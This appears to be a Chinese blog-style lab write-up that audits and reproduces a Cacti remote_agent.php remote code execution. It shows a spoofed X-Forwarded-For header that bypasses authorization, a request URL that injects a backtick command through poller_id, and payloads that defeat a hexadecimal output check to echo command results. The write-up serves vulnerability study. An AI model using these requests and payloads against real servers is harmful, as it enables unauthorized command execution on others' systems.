cacti的RCE测试
准备靶场环境通过vscode连接Ubuntu后打开文件\var\www\html\remote_agent.php。
cacti的RCE测试
准备靶场环境
通过vscode连接Ubuntu后打开文件\var\www\html\remote_agent.php
思路
审计代码
绕过鉴权函数
关键漏洞点get_client_addr函数在break2跳出拿到x-forwarded-for值127.0.0.1经过gethostbyaddr转换为主机名localhost
与在数据库查询poller的主机名相同,返回ture,及绕过此鉴权函数
get传递参数用户可控,通过此进入case polldata 语句
步骤
通过浏览器url访问
http://192.168.157.135:8080/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success`
使用burp suite进行抓包
在请求中添加X-Forwarded-For: 127.0.0.1
绕过鉴权函数
进入以下判断语句。在数据库中查询poller
进入数据库cacti查询发现hostname为localhost,所以若$client_name为localhost则绕过此条件语句
通过打印获取客户端的值
$client_addr值为127.0.0.1
$client_name值为localhost
所以绕过了此条件语句
打印出为localhost,并且与poller中hostname相等
则在条件语句中返回true
则成功绕过鉴权函数remote_client_authorized()
get传参action
因为action用户可控,通过get接收的参数
使action=polladta进入poll_for_data()函数
通过打印poller_id查看命令执行是否被过滤,打印发现默认参数没有被过滤;
文件创建成功
执行到此语句,rce结束
php执行了``(反引号)
但此执行没有回显
虽然响应包里没有回显,但是进入容器中即可发现/tmp/success
已成功被创建:
如何回显
output=fgets(output = fgets(output=fgets(pipes[1], 1024);
只读取一行,所以只要继续读取即可回显
关键函数
function is_hexadecimal($result) {
$hexstr = str_replace(array(' ', '-'), ':', trim($result));
$parts = explode(':', $hexstr);
foreach($parts as $part) {
if (strlen($part) != 2) {
return false;
}
if (ctype_xdigit($part) == false) {
return false;
}
}
return true;
}
必须绕过此函数
此函数首先把‘空格’、‘-‘替换为’:‘ ,然后根据’:‘把结果分割为数组,然后判断数组元素的长度是否为2,然后再判断元素是否为16进制,如果都满足,就返回 ture。
命令执行结果要是16进制
没有空格也可以返回true
命令中有‘;’或者‘!’
所以构造命令行
|echo "test\r\n`id" | xxd -p -c 1|awk '{printf \"%s \", $0}'`";
|echo "test\r\n :`id | base64 -w0`";
|echo "test\r\n`id |base64 -w0|awk -v ORS=':' '{print $0}'`";
对|echo “test\r\n :id | base64 -w0
”;urlencod编码
%7Cecho%20%22test%5Cr%5Cn%20:%60id%20%7C%20base64%20-w0%60%22;%20
解码得到
更多推荐
所有评论(0)